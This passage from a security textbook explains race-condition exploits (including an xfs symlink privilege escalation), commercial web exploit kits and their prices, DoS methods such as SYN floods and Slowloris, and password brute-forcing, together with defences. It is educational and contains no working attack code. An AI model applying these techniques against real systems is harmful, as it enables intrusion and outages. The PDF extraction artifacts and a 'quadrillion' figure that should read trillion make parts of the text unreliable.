PDF files contain, including JavaScript and embedded media content. To mitigate the risk of malicious PDF files more aggressively,
administrators should take these actions even though they reduce the
functionality of PDF files. While both JavaScript and media content
in PDF files are useful for certain documents, they are generally not
necessary for every document, and PDF files that function incorrectly
without them are rare. This rich functionality is one of the reasons
why attackers target PDF files so heavily and is why they will continue to do so in the future.
3.1.7â•‡ Race Conditions
Race conditions result when an electronic device or process attempts
to perform two or more operations at the same time, producing an
illegal operation. This section explains the concepts behind race conditions with examples and methods for detection and prevention.
Race conditions are a type of vulnerability that an attacker can use
to influence shared data, causing a program to use arbitrary data and
allowing attackers to bypass access restrictions. Such conditions may
cause data corruption, privilege escalation, or code execution when
in the appropriate context. Race conditions are also known as timeof-check and time-of-use (TOC/TOU) vulnerabilities because they
involve changing a shared value immediately after the check phase.
When the program uses an unsuspected value, it may execute instructions reserved for a different purpose or allow an attacker to redirect
critical information.
Race conditions are limited in where they occur. They require multiple callers accessing shared information. For instance, race conditions
can occur if two or more threads influence the same shared memory,
files, or other types of data that a program uses. Consider the analogy
of a traffic signal that only has two states: green (for go) and red (for
stop). A race condition is analogous to two drivers who are both in the
intersection at the same time because there is no delay between the
switching of states from green to red. Similar to car accidents, race
conditions can have catastrophic effects on threads and applications.
Environments favorable to race conditions are becoming more common as more applications use multiple threads and central processing
unit (CPU) cores for performance improvements. In the future, tens
or hundreds of cores could provide programmers with parallel access
to data and make race conditions possible in even more applications.
Multiple callers, CPUs, threads, and parallel access systems are all
conducive to race conditions. Race conditions over the network are
also possible and introduce the most latency; therefore, they could
have the largest window of opportunity and thus be easier to exploit.
In the time it takes a computer to complete a single network operation
(assuming it takes 0.1 seconds), modern CPUs can execute about 7.5
billion instructions. Due to these differences, the window of opportunity for a race condition is typically much smaller for local operations
than network-based operations.
3.1.7.1â•‡ Examples of Race Conditionsâ•… Network race conditions are com-
mon among non–Transmission Control Protocols (non-TCPs) such
E x p l o itati o n
Passage of Time
Failed
Failed
Multiple DNS Answers
for example.com
IP Address 6.6.6.6
14 9
Attacker
Race Condition
DNS Query for example.com
Victim
DNS Answer for example.com
IP Address 192.0.32.10
Valid DNS Server
Exhibit 3-18â•… A domain name service (DNS) answering a race condition over the User Diagram
Protocol (UDP).
as User Datagram Protocol (UDP). Many network communications
suffer from these problems because the program accepts the first
answer to questions it asks. That is, there is a short amount of time
between when the user asks the question and when he or she receives
a legitimate answer in situations in which an attacker can respond and
exploit the race condition. As an example, consider the domain name
system (DNS) answering race condition in Exhibit 3-18.
Exploiting the DNS answering race condition and other UDPbased race conditions is difficult because the attacker does not know
when the user will ask a question or what the question will be. If
the attacker answers the wrong question, the client is likely to ignore
it. Therefore, attackers attempting to exploit the DNS race condition
flood the victim with answers to questions that he or she has not
asked. Making the attack even more difficult, the DNS caching and
the DNS time to live (TTL) limit the number of times that the victim needs to ask the question, making the window of opportunity for
an attacker small. When attackers are using “blind” attacks, they do
not know when the victim is vulnerable, and therefore such attacks
are difficult to exploit successfully. Attackers on the local network
may have information and feedback mechanisms, making it easier for
them to exploit race conditions.
Race conditions can also occur when privileged applications use
unprivileged files. As one example affecting the X windowing system,
the local service X Font Server (xfs, which runs as root) changes the
permission of a file within “/tmp/” to world writable (meaning anyone
can modify the file). If the attacker creates a symbolic link (symlink)
within the /tmp/ directory at the right moment, the xfs service will
change the permissions of any file on the system because the change
in permission affects the target of the symlink instead of the original
filename. To exploit this race condition, an attacker repeatedly tries
to create the symlink to the “/etc/passwd” file. When the xfs service
changes the permissions of the symlink target, it allows the attacker
to add a new account to /etc/passwd and therefore gain root privileges.28 Such an attack requires the attacker to have at least a limited
account to create symlinks; therefore, this exploit allows attackers to
escalate their privileges to root.
Similar to shared files, race conditions can affect shared process
memory. If a user can influence the memory, an attack can manifest in
many ways. Suppose a thread performs the following pseudocode to
find the function address, which it calls immediately afterward:
FunctionAddress = memory[pointerA]
If FunctionAddress within kernel32.dll:
Then:
Parameters = memory[pointerB]
Call FunctionAddress with Parameters
#STATEMENT1
#STATEMENT2
In this case, STATEMENT1 represents the TOC, and
STATEMENT2 represents the TOU. In the time between
STATEMENT1 and STATEMENT2, another thread can alter the
values of the memory at pointerA and pointerB, affecting the Call
STATEMENT2. An attacker who successfully altered the memory
could execute any function with any parameters, even those functions
that do not satisfy the restrictions within STATEMENT1. A Linux
kernel vulnerability (in version 2.6.29) exists that is similar to this
vulnerability because the lock (mutex) between the ptrace_attach()
and execve() functions does not prevent multiple threads from accessing the shared memory. Exploiting the vulnerability allows a local
user to escalate his or her privileges.29
Race conditions are difficult to locate from a testing perspective
because instructions can require infinitesimally small amounts of time
based upon the high number of instructions that modern CPUs execute per second. The likelihood of two programs requesting the same
E x p l o itati o n
151
shared data at the same time is very unlikely under normal circumstances for a few reasons. First, the operating system scheduler determines how to prioritize multiple applications and threads, not the
user mode application. The attacker has little control over these subtle
timing constraints and, for this reason, may repeat the same action
millions of times before favorable conditions exist. Second, the operating system uses a special signal called an interrupt request (IRQ )
to trigger actions. As the name implies, interrupts can change the
execution of a program and execute different code. An IRQ changes
the execution flow and may either help or hinder exploiting race conditions. The uncontrollable nature of interrupts and scheduling makes
it difficult to use timing attacks reliably. Exploiting race conditions
requires brute force, especially in high volume when the window of
opportunity is very small.
3.1.7.2â•‡ Detecting and Preventing Race Conditionsâ•… Since many race
conditions require the attacker to use brute force techniques, attackers exploiting race conditions may raise many anomalies and errors
on the system. Attempting to exploit a race condition may cause
an extended spike in CPU use or a high volume of failed requests.
System administrators should look for signs of a high volume of frequently repeated operations.
Race conditions are preventable, provided programmers use the
right tools. Semaphores and mutexes (short for mutual exclusions) provide instructions that are not vulnerable to race conditions. Mutex
instructions succeed when other instructions fail because of their
atomic nature. Atomic instructions are single instructions that the
CPU can execute in a single clock cycle, unlike nonatomic instructions, which execute in multiple clock cycles. Exhibit 3-19 illustrates a
comparison between atomic and nonatomic instructions for checking
and locking a resource A.
Current Instruction
Thread 1
Thread 2
CHECK_A
Current Instruction
LOCK_A
CHECK_A
Thread 1
LOCK_A
Thread 2
CHECK_A
LOCK_A
CHECK_A
LOCK_A
Exhibit 3-19â•… A comparison of nonatomic (left) and atomic (right) versions of locking a
resource.
In both the nonatomic and atomic cases, the CPU is executing the
same instructions; however, in the nonatomic case on the left, both
Threads1 and Thread2 obtain the same lock, which should never happen. In the atomic case, the check and lock procedure is part of a single
instruction, which prevents the race condition and allows Thread1 to
obtain a lock and Thread2 to determine that the lock is unavailable.
If the operation successfully locks a resource using an atomic (or
hardware-based) instruction, the program can proceed knowing that
no other thread was able to lock that same resource. Using locks
requires that calling programs release allocated locks they already
obtained. Many mutex systems also differentiate between read and
write locks because, as mitigation for starvation of the writers, giving
writers higher priority than readers can benefit the program when
there are a high number of readers.
3.1.7.3â•‡ Conclusionâ•… Attackers use race condition vulnerabilities less
than buffer overflows and other code execution vulnerabilities. They
are less reliable and may require high volumes of traffic or activity, which are undesirable for attackers who do not wish to raise any
alarms. Attackers use race conditions most commonly to escalate
privileges because attackers cannot often control the desired actions
to trigger the race condition based on otherwise untrusted data.
3.1.8â•‡ Web Exploit Tools
To accomplish the process of identifying vulnerable targets and delivering appropriate exploits to them, attackers frequently use tools containing exploits for numerous vulnerabilities. Some tools are freely
available, though hackers must purchase the most effective ones in
hacking forums. After infecting users with the chosen payload, the
tools collect statistics that allow attackers to run more targeted attacks
and allow criminals to track metrics useful for billing clients for malicious services, such as the number of installations performed.
Web exploit tools (or exploit kits) give attackers the ability to
execute arbitrary code using vulnerabilities or social engineering. To
attract visitors to the malicious websites, attackers often compromise
other servers to append IFrame tags, which direct visitors to attackers’ Web exploit tools. Upon visiting a malicious website, the exploit
E x p l o itati o n
15 3
Victims
Visit Website
Web Exploit Tool
Virus
Exhibit 3-20â•… Victims visiting a Web exploit tool, which attempts to install a virus.
tool attempts to launch many different exploits to execute arbitrary
malicious code. This section describes Web exploit tools and how they
fit into the businesses that have benefited from client-side attacks.
Exhibit 3-20 shows how attackers use Web exploit tools to install
malicious code on victims’ computers.
Most Web exploit tools are so simple that the operator needs only
to supply the executable virus for installation. Web exploit tools usually handle hiding, exploitation, and statistics automatically. Other
services allow an attacker to make money from running a Web exploit
tool and to gain a large number of victims very quickly.
3.1.8.1â•‡ Features for Hidingâ•… Many exploit tools hide exploits through
encoding, obfuscation, or redirection. Exploit tools attempt to hide
exploits to prevent both detection and analysis, which iDefense discussed in a “State of the Hack” article entitled “iDefense Explains …
Obfuscation.”30 Exploit tools encode traffic so that the victim decodes
it using JavaScript or VBScript. Intrusion detection systems (IDSs)
are a defensive measure that is ineffective at detecting encodings
because the content transferred over the network is different from the
content that the client executes.
Exploit tools also use JavaScript or HTTP headers to profile
the client and avoid sending content unless the client is vulnerable.
Exploit tools often try to detect multiple vulnerabilities to determine
which will be effective and if the tool should attempt multiple attacks
against a website visitor. HTTP headers like user-agent and browser
variables like navigator or app reveal information that gives attackers
15 4 Cy ber Se curit y E s sen ti a l sï»¿
the necessary information. If the exploit tool determines that the client is not vulnerable, it may redirect him or her to a benign URL or
display an empty page. Attackers can also configure tools to check the
language of the victim’s browser and the victim’s geographic location,
or if the victims arrived at the exploit tool through a valid source.
Exploit tools analyze the referrer HTTP header to determine if the
victim originates from an infected page. In this way, exploit tools
avoid sending malicious content to researchers who may use search
engines or other mechanisms to analyze a website.
3.1.8.2â•‡ Commercial Web Exploit Tools and Servicesâ•… There are a large
variety of commercial Web exploit tools and services available to
install malicious code on victims’ computers. Purchase prices for
source code for Web exploit tools vary widely from US$30 to as much
as US$2,000. Exhibit 3-21 shows thirty different Web exploit tools,
including prices, information about the author, and whether iDefense
has seen attackers use the tool in the wild.
Other exploit services are market driven by supply and demand.
Running an exploit tool on a server requires little computer knowledge to infect victims because the only input is an executable. Marketdriven services require even less knowledge or skill. The major markets
include selling traffic (IFrames) and selling installs (the customer supplies the executable to run).
Pay-per-install services allow actors to buy and sell installations,
which is the easiest way for a customer to install malicious code. Some
examples of pay-per-install services include IFrameDollars and Loads.
cc (see Exhibit 3-22).
Pay-per-traffic services allow attackers to attract a large number of victims to their Web exploit tools. Attackers can then either
install their own viruses or sell installs via the pay-per-install model.
Examples of pay-per-traffic services include IFrame911.com and
RoboTraff.com (see Exhibit 3-22).
While the examples have public websites and are generally more
available to the public, the same pay-per-install and pay-per-traffic
services are available privately from individuals on hacking forums.
Attackers can also operate each part separately from these services.
This has advantages because it limits their interaction and dependence
on third-party services. If those services became known or otherwise
E x p l o itati o n
SOLD AS
LANGUAGE
15 5
PRICE
AUTHOR
SEEN IN
WILD
0x88
PHP
Unknown
Unknown or no author
credited
Yes
AD Pack
PHP
Unknown
credited
Yes
Armitage
PHP
Unknown
credited
Yes
Death Pack
PHP
$90
Sploi1ter
No
eCore Exploit Pack
PHP
$590
Multiple Aliases
Unknown
Exploit Multipack
PHP
Unknown
credited
Yes
Firepack
PHP
Unknown
DIEL
Yes
FlooP Pack
PHP
$800
FlooPy[Error]
No
G-Pack
PHP
$99
Garris
Yes
IcePack Lite
PHP
$30
Ni0x / IDT Group
Yes
IcePack Platinum
PHP
$400
Ni0x / IDT Group
Yes
INFECTOR Professional
PHP
Varies
XOD
No
INFECTOR Standart
PHP
$1,300
XOD
No
Le Fiesta
PHP
€ 500
el
Yes
MPack
PHP
$700
Dream Coders Team
Yes
myPOLYSploits
PHP
$150
4epolino
Yes
N404-Kit (temporary
iDefense name)
PHP
Unknown
credited
Yes
Neosploit
C (CGI)
$1,500
grabarz
Yes
Nuclear’s bot
PHP
$150
Nuclear
Unknown
Nuklear Traffic
PHP
Unknown
credited
Yes
System
PHP
$30
REALiSTiC
Yes
SmartPack
PHP
$200
credited
Unknown
Exhibit 3-21â•… Exploit kits commonly used by cyber criminals.
Continued
SOLD AS
LANGUAGE
PRICE
AUTHOR
SEEN IN
WILD
SPREADER
PHP
$2,000
NeRox
Yes
Tornado
PHP
$600
Expire2012
Yes
Ultra Lite Pack
PHP
$50
cracklover
No
Underwater Exploit Pack
PHP
$500
Underwater
Unknown
Unique Bundle of Exploits
PHP
$400
system
Yes
WebAttacker
CGI
N/A
Inet-Lux IT Group
Yes
WebAttacker II
PHP
$1,000
Inet-Lux IT Group
Yes
Z-Kit (temporary iDefense
name)
PHP
Unknown
credited
Yes
Exhibit 3-21 (Continuedâ•›)â•… Exploit kits commonly used by cyber criminals.
Pay-Per-Traffic
Pay-Per-Install
Victims
Victims
Web Exploit Tool
Virus
Web Exploit Tool
Virus
Exhibit 3-22â•… Pay-per-traffic and pay-per-install commercial markets.
unavailable, investigators could discover their users or otherwise disrupt the business. Attackers may instead generate their own traffic to
exploit tools using SQL injection. Attackers can inject IFrames into
vulnerable servers. More information on these attacks is available in the
“State of the Hack” article “iDefense Explains … SQL Injection.”31
Infected websites often contain multiple levels of redirection; both
pay-per-traffic and pay-per-install business models are possible reasons for the multiple redirects. The separation of work includes generating traffic, exploiting systems, and running arbitrary executables
E x p l o itati o n
15 7
on the victim machine. Attackers can make money in this process by
being proficient in any one of the steps.
3.1.8.3â•‡ Updates, Statistics, and Administrationâ•… Most Web exploit
tools available today target browser vulnerabilities or browser plugins. Attackers can develop new exploits or integrate the latest public
exploits to improve their likelihood of being successful against a victim. Some attackers advertise that they offer zero-day exploits, which
exploit vulnerabilities that the vendor has not released a patch for in
its toolkits. Others sell premium versions of their tools that they will
integrate with the latest exploits. Despite these advertisements for
enhanced services, Web exploit tools often integrate publicly available
exploits such as those available from Metasploit or milw0rm.com. The
tools sometimes offer statistics on visitors to show how successful their
exploits are and what countries, operating systems, and browsers the
visitors use. Le Fiesta is a Web exploit tool that tracks many attributes
about visitors (see Exhibit 3-23) and builds victim statistics to know
which software the operators should target.
Many exploit tools provide administration interfaces protected
by usernames and passwords through which an attacker can obtain
detailed information, modify the behavior of the exploit tool, or take
Exhibit 3-23â•… Statistics for the Le Fiesta exploit tool.
other actions. Some exploit tools utilize a database such as MySQL to
provide permanent storage capabilities.
While update services are only marginally useful because of copying,
authors of exploit tools often do lead efforts in hiding and obfuscation
efforts. Commercial Web exploit tools have the fastest evolution, making it difficult for researchers to determine what exploits they use.
3.1.8.4â•‡ Proliferation of Web Exploit Tools Despite Protectionsâ•… Malicious
actors have offered many commercial exploit tools free on hacking
forums, and it is not clear how profitable exploit tool development is,
given the availability of these leaked versions.
Some Web exploit tools contain protections to prevent copying and
modification. The protections include the following:
•
•
•
•
Source code obfuscation
Per-domain licenses that check the local system before running
Network functionality to confirm validity (license checks)
An end-user license agreement (EULA)
Since authors write many Web exploit tools in PHP, the source
code is available. To prevent source code from being available and
authors from writing exploits, Web exploit tool authors commonly
use commercial PHP obfuscation tools such as NuSphere’s NuCoder
or Zend Guard when they distribute their source code. Some exploit
tools like Neosploit use compiled C code to run as CGI programs,
which require much more time to reverse engineer or modify since
they do not preserve the original source code.
Despite these protections, copying and proliferation of many exploit
tools are still common. Malicious authors write most Web exploit
tools in PHP (or a compiled language) because the tools can generate
content based upon parameters and use a database; however, authors
can copy an existing exploit tool if they are able to observe the exploits
it uses and modify them to execute a different executable. Tools like
Dezend may also offer attackers and researchers ways to reverse the
Zend Guard encoding.32 Compiled content requires reverse engineering, and although it offers some protection, it is not always capable of
preventing modification.
Attackers that use exploit tools do not always purchase tools since
some are freely available. The commercial markets that depend on
E x p l o itati o n
15 9
exploit tools have supply-and-demand components for supporting the
Web exploit tool use, including pay-per-traffic and pay-per-install
models. The proliferation of Web exploit tools is one indicator that
attackers are investing resources into this market. Commercial Web
exploit tools often include hiding and obfuscation techniques to evade
defensive measures.
Attackers using these tools collect victim trends and statistics that
allow them to focus their efforts to be successful in the future. The
division of traffic exploits and installs will likely continue as each
area improves.
3.1.9â•‡ DoS Conditions
Incidents reported daily in the news are a reminder that denial of
service (DoS) attacks are a major threat to systems connected to the
Internet, especially those of e-commerce, financial services, and government services. This section explains how these attacks work and
offers solutions to mitigate the effects of future attacks.
Computer networks are the backbone for telecommunications and
consist of a vast array of clients and servers for information exchange.
Servers offer services, such as a Web or file transfer protocol (FTP)
service, with which clients can interact to share or obtain information.
When servers or services cannot respond to client requests, a situation called a DoS condition arises. A DoS occurs when a disruption
impairs information exchange, resulting in slow or halted communication. The consequences of a DoS can vary depending on the situation, but they typically incur severe downtime resulting in financial
losses. These consequences attract malevolent individuals to perform
DoS attacks against targets of interest.
DoS is a general term to describe a lack of access to a service. The
lack of access can occur for many reasons and at different points
between the client and server. Points subjected to a DoS condition are
network segments, network devices, the server, and the application
hosting the service itself. The conditions necessary to cause a DoS
at each of these points differ, but all result in a disruption in activity
between the client and server.
A network can only send and receive a certain amount of data at
one time. Any data sent that exceeds a network’s bandwidth will not
User
Legimate
Request
Attacker
DoS Traffic
User
Legimate
Request
Available Bandwidth
Target Server
Exhibit 3-24â•… A bandwidth-consuming denial of service (DoS) attack.
make it to its destination. One form of DoS occurs when an attacker
sends so much traffic to the target that it consumes all of the available
bandwidth. In this situation, most requests cannot make it to their
intended destinations, which results in a DoS for legitimate clients.
Exhibit 3-24 shows an attacker consuming the network bandwidth
and denying access to other users.
To consume the available bandwidth of a target, an attacker uses
a technique known as flooding. Flooding describes the overwhelming traffic used to saturate network communications. Attackers use
communication protocols such as User Datagram Protocol (UDP),
Internet Control Message Protocol (ICMP), and Transmission
Control Protocol (TCP) to inundate the target with network traffic.
A similar method to cause a DoS condition starves the resources
of network devices. Overutilization of system resources, such as
central processing unit (CPU), memory, or data structures stored in
memory, can cause system failure. System failure of a network device,
such as a firewall, router, or switch, has devastating results because it
causes network traffic congestion resulting in performance degradation or an outage.
A particularly effective DoS attack on network device resources is
a SYN Flood. A SYN Flood describes the rapid transmission of TCP
SYN packets to a target to initiate the three-way TCP handshake to
create a session. The attacker initiates the TCP handshake by sending SYN packets to the target but does not acknowledge the target’s
synchronize and acknowledgment (SYN/ACK) packets. The network
device awaits the ACK that the attacker never sends, which creates
half-open sessions that the network device stores in a connection
table. Eventually, the network device purges the half-open sessions
E x p l o itati o n
161
after a timeout period, but if the attacker can fill the device’s connection table, then the device ignores all further legitimate attempts to
create a TCP session.
Resource-starving DoS conditions do not just plague network
devices. The servers themselves are prone to resource starvation, limiting their ability to process requests. A server using 100 percent of its
CPU will have trouble responding to inbound requests. For example,
an attacker using the DoS technique called Slowloris sends HTTP
GET requests with partial HTTP headers to an Apache Web server.
The Apache Web server will wait for the attacker to send the rest of
the HTTP header. The attacker never sends the complete HTTP
header, just arbitrary header fields to avoid timing out and to keep
the Web server waiting. Using this technique, an attacker can consume all available threads on the Apache Web server, resulting in a
DoS condition.33
To saturate network bandwidth or to starve a system’s resources
successfully, it is beneficial for an attack to have more resources than
the target does. To gain more resources than the target, attackers tend
to gather distributed resources and coordinate an attack called a distributed denial of service (DDoS). The distributed systems join forces
and attack simultaneously to overwhelm the target. The prevalence
of botnets across the Internet makes DDoS a reality, as bots within
these botnets can focus an attack on a target with devastating results.
For example, if a botnet initiates a DDoS attack against a target with
2,000 bots each with 2 Mbps of upstream bandwidth, it can saturate
a large network with a combined 4 Gbps of network traffic.
Another option to overwhelm a target’s resources becomes available
through amplification, which involves using techniques to magnify
the effect of and attack beyond the capabilities of the attacker’s limited resources. The amplification helps the attacker use more resources
than are ordinarily readily available to them. Typically accomplished
by using a technique called reflection, the attacker spoofs the IP
address of requests to the intermediary system, called a reflector, which
sends responses back to the spoofed IP address. The responses to the
spoofed IP address can flood the system at that address, which is the
target of the attack.
A domain name system (DNS) amplification attack exemplifies this
technique and takes advantage of the size difference between DNS
query packets and DNS answer packets. An attacker spoofs the source
IP address within DNS query packets sent to recursive DNS servers.
The DNS servers act as a reflector by replying with DNS answer packets to the target. The answer packets generally are many times larger
than the initial query packet, resulting in a successful amplification
of the attacker’s traffic. For more information on this form of attack,
refer to the “State of the Hack” article entitled “iDefense Explains
Domain Name System (DNS) Amplification Attacks.”
In addition to resource starvation, DoS conditions can occur as a
by-product of vulnerability exploitation. A server or service susceptible to vulnerabilities, such as buffer overflows and format string overflows, can hang or crash in the event of a successful exploitation. Once
crashed or in a hung state, the server or service can no longer carry out
its responsibilities, resulting in a DoS condition.
Other DoS conditions stem from the configuration of a service or
server. Not only do improper configurations present DoS opportunities, but also even legitimate or proper configurations can block a
client from interacting with a service. For example, an account lockout feature in Microsoft Active Directory could deny a user from
accessing the network domain if a password brute force attack exceeds
the configured maximum number of allowed logon attempts. The
Conficker worm was notorious for locking out user accounts during
its propagation when it attempted to brute force the passwords to network shares.
Configuration changes can also be the cause of a DoS. Unintentional
DoS can occur from the side effects of network configuration
changes. A well-known example of such an erroneous configuration
change occurred in 2008 when the popular video website YouTube.
com experienced a DoS. The YouTube DoS occurred as the result
of Pakistan Telecom attempting to block its customers from visiting
the website. Pakistan Telecom broadcasted via the Border Gateway
Protocol (BGP), the protocol used to set up routes between routers
on the Internet, that it was the destination for YouTube’s IP range.
This caused routers worldwide to send traffic destined for YouTube
to Pakistan Telecom.34 This resulted in a DoS of YouTube, as visitors
around the world were unable to reach the website.
The variety of different types of DoS attacks and the multiple locations where they can occur make a complete DoS prevention package
E x p l o itati o n
16 3
impractical; however, certain safeguards can reduce the chances of
suffering from a DoS condition. Addressing DoS situations requires
security safeguards, detection, and adequate response planning.
Security safeguards start with the patching of systems, which
reduces the known vulnerabilities that can potentially cause a DoS
through exploitation. This does not protect against zero-day and
unknown vulnerabilities, but an up-to-date system is less likely to fall
victim to a DoS vulnerability.
The common network-level safeguards using security devices can
reduce DoS attempts by filtering out erroneous traffic at edge routers
and firewalls. Many vendors offer DoS protection features built into
their products. Access control lists (ACLs) and rate-limiting rules can
immediately address DoS activity by blocking unwanted and flooding traffic. Using a network device with antispoofing functionality,
such as Unicast Reverse Path Forwarding (uRPF), can reduce network DoS conditions, as the device verifies the validity of a source IP
address and discards the traffic if the source IP address is not valid or
is spoofed.
DoS detection requires monitoring of network traffic patterns and the
health of devices. Intrusion detection or prevention systems, Netflows,
and other network traffic logs can provide an indication of DoS conditions in the event of an increase in network activity or alerts. Monitoring
the health of devices can also detect if a DoS is underway. If a system’s
available resources, whether they are memory, CPU utilization, and/or
another resource, reach a critical level of utilization, then the cause of
such exhaustion needs mitigation to avoid a DoS condition.
One of the most overlooked DoS prevention requirements is adequate response procedures. Planning response procedures will reduce
the impact and outage caused by a DoS. DoS protection services are
beginning to surface, including VeriSign’s DDoS Monitoring and
Mitigation35 services. VeriSign monitors traffic destined for its customers’ networks for DDoS characteristics and provides mitigation by
filtering out the DDoS traffic.
Response planning should also include in-house procedures on
involving the appropriate resources to mitigate the cause of the issue.
Administrators and service providers need to understand that their
involvement and processes are required to stop the activity causing a
DoS. These processes vary depending on the specific situation or attack,
but they range from the service provider creating upstream ACL rules
or black holing source networks via BGP routes, to a systems administrator replacing a server with a hot spare to mitigate a DoS.
Every day, DoS attacks cause outages across the Internet. The
increase of botnet prevalence and release of application vulnerabilities make DoS incidents inevitable. DoS conditions spawn
from everything from unintentional actions such as configuration
changes, to intentional motives, to attacks on opposing political
groups or competition, or they can act as a decoy for other malicious
intentions. Regardless of the cause of the outage, careful planning
can reduce the impact of such an outage and minimize the financial
losses involved.
3.1.10â•‡ Brute Force and Dictionary Attacks
A password-based authentication system is only as good as its
underlying passwords. When attackers use brute force attacks and
dictionary attacks against these systems, these passwords may prove
to be insufficient. In this section, we will explain these two types of
high-level attacks commonly used against password-based authentication systems.
Authentication systems that depend on passwords to determine
the authenticity of a user are only as strong as the passwords on
which they rely. Most system administrators understand this simple
fact and require users to use sufficiently long and complex passwords.
While this may reduce the probability of an attacker quickly guessing a user’s password, the fact remains that password-only systems
are vulnerable to two very well-known attacks: brute force attacks
and dictionary attacks.
Attackers can and have used brute force attacks and dictionary
attacks against a variety of cryptographic and authentication systems. It is space prohibitive to explain how these attacks work against
the wide variety of cryptographic and authentication systems. This
article focuses primarily on the attacks as they pertain to the generic
model of a password- or passphrase-based authentication system. This
generic authentication system uses some form of text-based password
or passphrase string in combination with a username or some other
form of identifier to authenticate the identity of the user. The use of a
E x p l o itati o n
16 5
text-based password allows the authentication system to compare the
supplied text against the value previously set for the given username.
When dealing with the password component of the authentication
system, it is not uncommon for the system to store the password in
an encrypted or hashed form. The logic behind this dictates that if
an attacker compromises the username and password database, the
attacker will be unable to immediately use the passwords without first
recovering the passwords using the inverse (if applicable) function
of the password encryption system. In the case in which the system
stores the passwords as a hash of the text string, no inverse function
will exist, restricting the options available to the attacker who has the
hash value of the text password. These options, as explained later, are
limited to brute force and dictionary attacks.
Users, generally speaking, default to the simplest passwords they
can use that still conform to the password standards set by the system
administrators. As a result, the majority of users select a password
based on a common word or phrase that the user can remember or
that has some significant meaning to the user. Attackers capitalize on
this fact by using password dictionaries.
Password dictionaries, sometimes referred to as word lists,36 are
compilations of known words and known variations on these words
that users may use as passwords. These variations can include character substitutions (e.g., changing 1’s to i’s or l’s and vice versa), interjecting words from nonnative languages, and combining words into
phrases. These password dictionaries are typically flat-text files with
one password per line. Attacks can apply these passwords in a systematic way to the authentication system using a known username to find
the correct password associated with the username.
When dealing with authentication systems that allow largely language-based passwords (passwords that conform to a given spoken
language, such as English, French, or Russian, and do not contain a
significantly high number of nonalphanumeric characters), a suitably
large password dictionary can have a high degree of success against
common passwords.
Dictionary attacks, like most attacks against unknown passwordbased authentication systems, can be slow when attempting to probe
the authentication system one password at a time. When an attacker
accesses the authentication system in question over the Internet,
network delays and delays in the authentication system itself can
severely reduce the speed at which an attack can occur; however, when
an attacker is able to obtain the username–password database, offline
dictionary attacks can be highly effective in a short period. Tools such
as pwdump37 allow attackers to obtain the hashes for Windows passwords when an account with suitable privileges uses the tool. These
hashes (known as NT LAN Manager [NTLM] hashes) are not
directly reversible, but the security community knows the algorithm
used to generate them. As a result, by using a suitable dictionary and
the known algorithm, it is possible for an attacker to quickly iterate
through the password dictionary to find the password that matches a
given hash.
For any given user, there is no guarantee that the dictionary will
contain the password. When the user selects a suitably random password, such as @fA09wR&$xZQ, the probability of a dictionary containing such an entry is exceedingly slim. That said, and as mentioned
previously, it is rare for a typical user to use such a random password
because such passwords are difficult to remember. When an attacker
has compromised the username and password database, and when the
attacker has suitable hard drive space, an attacker can make a time–
space trade-off using rainbow tables.
While not exactly a password dictionary, a rainbow table contains
precomputed hashed passwords that allow an attacker to quickly locate
the hash of a user’s password in the tables to relate this to the original
text password. An explanation of how an attacker generates rainbow
tables and how the rainbow tables work is beyond the scope of this
book, but readers can generalize the concept as a simple array of passwords addressed by their hash values. Rainbow tables are specific to
the algorithm used by the authentication system (such as the NTLM
hashes or message-digest algorithm 5 [MD5] hashes) and can be very
large. Generally, attackers generate rainbow tables using a brute force
approach to password generation, but it is possible for an attacker to
generate rainbow tables from a password dictionary. In any case, the
generation process is extremely time consuming and computationally
expensive. Websites offer a wide variety of rainbow tables for various
authentication systems for free38 or for a small fee.39
Brute force attacks work on the principle that, given enough time, an
attacker can find any password regardless of its length or complexity.
E x p l o itati o n
1
2
3
4
11
12
13
14
21
22
23
24
.
.
44
111
112
113
16 7
114
121
122
.
.
(and so on)
Exhibit 3-25â•… The brute force generation of passwords for the character set 1–4.
Brute force attacks against password-based authentication systems
require the attacker to establish the set of letters, numbers, and symbols (known as the character space or key space) that are permissible for
any password. The smaller the valid character set, the less time it will
take to complete a brute force attack.
Once the attacker establishes the character set, hereby referred
to simply as the set, the attacker generates a password by iterating
through the set one character at a time. The attack starts by taking
the first character in the set and using that as the password. Much the
same way that an attacker tests for a valid password using a dictionary
attack, the attacker enters the generated password in the authentication system to determine if the password is valid for the given user.
If the password is incorrect, the attacker tries the next permutation
from the given set and tests the password against the authentication
system. The attacker repeats the process until he or she locates a correct password. Exhibit 3-25 explains the output of this process where
the character set is only the numbers 1 through 4.
Brute forcing is a time-consuming process for a sufficiently complex password and a large character set. The maximum number of
iterations required to find a password depends on two factors: the
size of the character set and the maximum size of the password.
Mathematically, it is possible to calculate the number of iterations by
taking the number of entries in the character set and raising it to the
power of the maximum length of the password. Exhibit 3-26 illustrates this as an equation. Furthermore, to determine the maximum
amount of time required to find a given password using a brute force
attack, it is necessary to multiply the maximum number of iterations
against the time required for a single check (assuming that the time
required does not vary as the length of the password increases). The
fâ•›â•›(c, lâ•›â•›) = cl
where c is the character set size and l is the maximum length
of the password
gâ•›(c, l, t) = t · fâ•›â•›(c, l)
where t is the time (in seconds) to perform a single password
validity test
Exhibit 3-26â•… Formulas to determine the maximum size and time required for a brute force
attack.
second part of Exhibit 3-26 depicts the generalized mathematical formula for determining the maximum amount of time required to brute
force a password of a given length.
3.1.10.1â•‡ Attackâ•… To clearly illustrate the amount of time required to
brute force a password of sufficient complexity, given a character set
defined as abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(),
which has a character set size of forty-six characters and a maximum password length of eight characters, the maximum number of
iterations required to fully exhaust the character set for the password
length would be roughly 20 quadrillion iterations, or:
20,047,612,231,936 = 468
If the authentication system took one-half of a second per password
supplied to indicate the validity of a password and if the password
was “))))))))”, it would take the attacker roughly 10 quadrillion seconds
to find the password. Ten quadrillion seconds is the equivalent of
317,852.8 years. Such a long time renders the password “unbreakable”
since the length of the attack outlasts the usefulness of the information under attack.
On the other hand, if the number of iterations per second was significantly higher as would typically be the case in an offline attack,
the same password may no longer be unbreakable. For instance, using
a tool such as John the Ripper40 on a 2 GHz Xeon virtual machine
image, it is possible to brute force 5,000 passwords per second. Using
the same character set and password length as defined previously, it
E x p l o itati o n
16 9
would take approximately 4 billion seconds, or 127 years. By using
a dedicated workstation and optimizing the application to run on
multiple processors at the same time, it is possible to increase the
passwords-per-second value to four times the speed, giving a rate of
20,000 passwords per second. At this rate, to brute force the entire
password space would take approximately 1 billion seconds, or thirtyone years. While still conceivably too long for the password to be
useful, the fact remains that given sufficient power processing, an
